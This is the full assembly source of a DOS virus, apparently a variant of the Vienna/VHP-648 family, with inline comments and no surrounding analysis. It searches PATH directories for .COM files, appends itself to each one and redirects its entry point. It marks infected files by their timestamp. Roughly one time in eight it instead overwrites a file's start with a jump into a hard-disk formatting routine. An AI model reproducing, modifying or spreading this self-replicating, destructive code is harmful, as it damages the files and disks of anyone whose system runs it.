name       Virus
      title      Virus; based on the famous VHP-648 virus
     .radix      16
      code       segment
      assume     cs:code,ds:code
      org        100
environ equ      2C

start:
      jmp      virus
      int      20

data label byte                 ;Data section
dtaaddr    dd      ?            ;Disk Transfer Address
ftime      dw      ?            ;File date
fdate      dw      ?            ;File time
fattrib    dw      ?            ;File attribute
saveins    db      3 dup (90)   ;Original first 3 bytes
newjmp     db      0E9          ;Code of jmp instruction
codeptr    dw      ?            ;Here is formed a jump to virus code
allcom     db      '*.COM',0    ;Filespec to search for
poffs      dw      ?            ;Address of 'PATH' string
eqoffs     dw      ?            ;Address of '=' sign
pathstr    db      'PATH='
fname      db      40 dup (' ') ;Path name to search for

;Disk Transfer Address for Find First / Find Next:

mydta label byte
drive      db      ?            ;Drive to search for
pattern    db      13d dup (?)  ;Search pattern
reserve    db      7 dup (?)    ;Not used
attrib     db      ?            ;File attribute
time       dw      ?            ;File time
date       dw      ?            ;File date
fsize      dd      ?            ;File size
namez      db      13d dup (?)  ;File name found

;This replaces the first instruction of a destroyed file.
;It's a jmp instruction into the hard disk formatting program (IBM XT only):

bad_jmp    db      0EA,0,0,0,0C8
errhnd     dd      ?

virus:
      push      cx               ;Save CX
      mov       dx,offset data   ;Restore original first instruction
modify      equ      $-2         ;The instruction above is changed
                                 ;before each contamination
      cld
      mov      si,dx
      add      si,saveins-data   ;Instruction saved there
      mov      di,offset start
      mov      cx,3              ;Move 3 bytes
      rep      movsb             ;Do it
      mov      si,dx             ;Keep SI pointed at data

      mov      ah,30             ;Get DOS version
      int      21
      cmp      al,0              ;Less than 2.0?
      jne      skip1
      jmp      exit              ;Exit if so

skip1:
      push     es                ;Save ES
      mov      ah,2F             ;Get current DTA in ES:BX
      int      21
      mov      [si+dtaaddr-data],bx   ;Save it in dtaaddr
      mov      [si+dtaaddr+2-data],es

      mov      ax,3524           ;Get interrupt 24h handler
      int      21                ; and save it in errhnd
      mov      [si+errhnd-data],bx
      mov      [si+errhnd+2-data],es
      pop      es                ;Restore ES

      mov      ax,2524           ;Set interrupt 24h handler
      mov      dx,si
      add      dx,handler-data
      int      21

      mov      dx,mydta-data
      add      dx,si
      mov      ah,1A             ;Set DTA
      int      21

      push     es                ;Save ES & SI
      push     si
      mov      es,ds:[environ]   ;Environment address
      xor      di,di
n_00015A:                        ;Search 'PATH' in environment
      pop      si                ;Restore data offset in SI
      push     si
      add      si,pathstr-data
      lodsb
      mov      cx,8000           ;Maximum 32K in environment
      repne    scasb             ;Search for first letter ('P')
      mov      cx,4              ;4 letters in 'PATH'
n_000169:
      lodsb                      ;Search for next char
      scasb
      jne      n_00015A          ;If not found, search for next 'P'
      loop     n_000169          ;Loop until done
      pop      si                ;Restore SI & ES
      pop      es

      mov      [si+poffs-data],di  ;Save 'PATH' offset in poffs
      mov      bx,si               ;Point BX at data area
      add      si,fname-data       ;Point SI & DI at fname
      mov      di,si
      jmp      short n_0001BF

n_000185:
      cmp      word ptr [si+poffs-data],6C
      jne      n_00018F
      jmp      olddta
n_00018F:
      push     ds
      push     si
      mov      ds,es:[environ]
      mov      di,si
      mov      si,es:[di+poffs-data]
      add      di,fname-data
n_0001A1:
      lodsb
      cmp      al,';'
      je       n_0001B0
      cmp      al,0
      je       n_0001AD
      stosb
      jmp      n_0001A1
n_0001AD:
      xor      si,si
n_0001B0:
      pop      bx
      pop      ds
      mov      [bx+poffs-data],si
      cmp      byte ptr [di-1],'\'
      je       n_0001BF
      mov      al,'\'            ;Add '\' if not already present
      stosb

n_0001BF:
      mov      [bx+eqoffs-data],di  ;Save '=' offset in eqoffs
      mov      si,bx                ;Restore data pointer in SI
      add      si,allcom-data
      mov      cl,6                 ;6 bytes in ASCIIZ '*.COM'
      rep      movsb                ;Move '*.COM' at fname
      mov      si,bx                ;Restore SI

      mov      ah,4E            ;Find first file
      mov      dx,fname-data
      add      dx,si
      mov      cl,11b            ;Hidden, Read/Only or Normal files
      int      21
      jmp      short n_0001E3

findnext:
      mov      ah,4F             ;Find next file
      int      21
n_0001E3:
      jnc      n_0001E7          ;If found, try to contaminate it
      jmp      n_000185          ;Otherwise search in another directory

n_0001E7:
      mov      ax,[si+time-data] ;Check file time
      and      al,11111b         ; (the seconds, more exactly)
      cmp      al,62d/2          ;Are they 62?

;If so, file is already contains the virus, search for another:

      je       findnext

;Is file size greather than 64,000 bytes?

      cmp      [si+fsize-data],64000d
      ja       findnext          ;If so, search for next file

;Is file size less than 10 bytes?

      cmp      word ptr [si+fsize-data],10d
      jb       findnext          ;If so, search for next file

      mov      di,[si+eqoffs-data]
      push     si                ;Save SI
      add      si,namez-data     ;Point SI at namez
n_000209:
      lodsb
      stosb
      cmp      al,0
      jne      n_000209

      pop      si                ;Restore SI
      mov      ax,4300           ;Get file attributes
      mov      dx,fname-data
      add      dx,si
      int      21

      mov      [si+fattrib-data],cx  ;Save them in fattrib
      mov      ax,4301               ;Set file attributes
      and      cl,not 1              ;Turn off Read Only flag
      int      21

      mov      ax,3D02               ;Open file with Read/Write access
      int      21
      jnc      n_00023E
      jmp      oldattr               ;Exit on error

n_00023E:
      mov      bx,ax                 ;Save file handle in BX
      mov      ax,5700               ;Get file date & time
      int      21
      mov      [si+ftime-data],cx    ;Save time in ftime
      mov      [si+fdate-data],dx    ;Save date in fdate

      mov      ah,2C                 ;Get system time
      int      21
      and      dh,111b               ;Are seconds a multiple of 8?
      jnz      n_000266              ;If not, contaminate file (don't destroy):

;Destroy file by rewriting an illegal jmp as first instruction:

      mov      ah,40                 ;Write to file handle
      mov      cx,5                  ;Write 5 bytes
      mov      dx,si
      add      dx,bad_jmp-data       ;Write THESE bytes
      int      21                    ;Do it
      jmp      short oldtime         ;Exit

;Try to contaminate file:

;Read first instruction of the file (first 3 bytes) and save it in saveins:

n_000266:
      mov      ah,3F                 ;Read from file handle
      mov      cx,3                  ;Read 3 bytes
      mov      dx,saveins-data       ;Put them there
      add      dx,si
      int      21
      jc       oldtime               ;Exit on error
      cmp      ax,3                  ;Are really 3 bytes read?
      jne      oldtime               ;Exit if not

;Move file pointer to end of file:

      mov      ax,4202               ;LSEEK from end of file
      xor      cx,cx                 ;0 bytes from end
      xor      dx,dx
      int      21
      jc       oldtime               ;Exit on error

      mov      cx,ax                 ;Get the value of file pointer (file size)
      add      ax,virus-data-3       ;Add virus data length to get code offset
      mov      [si+codeptr-data],ax  ;Save result in codeptr
      inc      ch                    ;Add 100h to CX
      mov      di,si
      add      di,modify-data        ;A little self-modification
      mov      [di],cx
                              
      mov      ah,40                 ;Write to file handle
      mov      cx,endcode-data       ;Virus code length as bytes to be written
      mov      dx,si                 ;Write from data to endcode
      int      21
      jc       oldtime               ;Exit on error
      cmp      ax,endcode-data       ;Are all bytes written?
      jne      oldtime               ;Exit if not
                            
      mov      ax,4200               ;LSEEK from the beginning of the file
      xor      cx,cx                 ;Just at the file beginning
      xor      dx,dx
      int      21
      jc       oldtime               ;Exit on error

;Rewrite the first instruction of the file with a jump to the virus code:

      mov      ah,40                 ;Write to file handle
      mov      cl,3                  ;3 bytes to write
      mov      dx,si
      add      dx,newjmp-data        ;Write THESE bytes
      int      21

oldtime:
      mov      dx,[si+fdate-data]    ;Restore file date
      mov      cx,[si+ftime-data]    ; and time
      and      cl,not 11111b
      or       cl,11111b             ;Set seconds to 62 (?!)

      mov      ax,5701               ;Set file date & time
      int      21
      mov      ah,3E                 ;Close file handle
      int      21

oldattr:
      mov      ax,4301               ;Set file attributes
      mov      cx,[si+fattrib-data]  ;They were saved in fattrib
      mov      dx,fname-data
      add      dx,si
      int      21

olddta:
      push     ds                    ;Save DS
      mov      ah,1A                 ;Set DTA
      mov      dx,[si+dtaaddr-data]  ;Restore saved DTA
      mov      ds,[si+dtaaddr+2-data]
      int      21

      mov      ax,2524               ;Set interrupt 24h handler
      mov      dx,[si+errhnd-data]   ;Restore saved handler
      mov      ds,[si+errhnd+2-data]
      int      21
      pop      ds                    ;Restore DS

exit:
      pop      cx                    ;Restore CX
      xor      ax,ax                 ;Clear registers
      xor      bx,bx
      xor      dx,dx
      xor      si,si
      mov      di,100                ;Jump to CS:100
      push     di                    ; by doing funny RET
      xor      di,di
      ret      -1

handler:                             ;Critical error handler
      mov      al,0                  ;Just ignore error
      iret                           ; and return

endcode label  byte
   code        ends
               end      start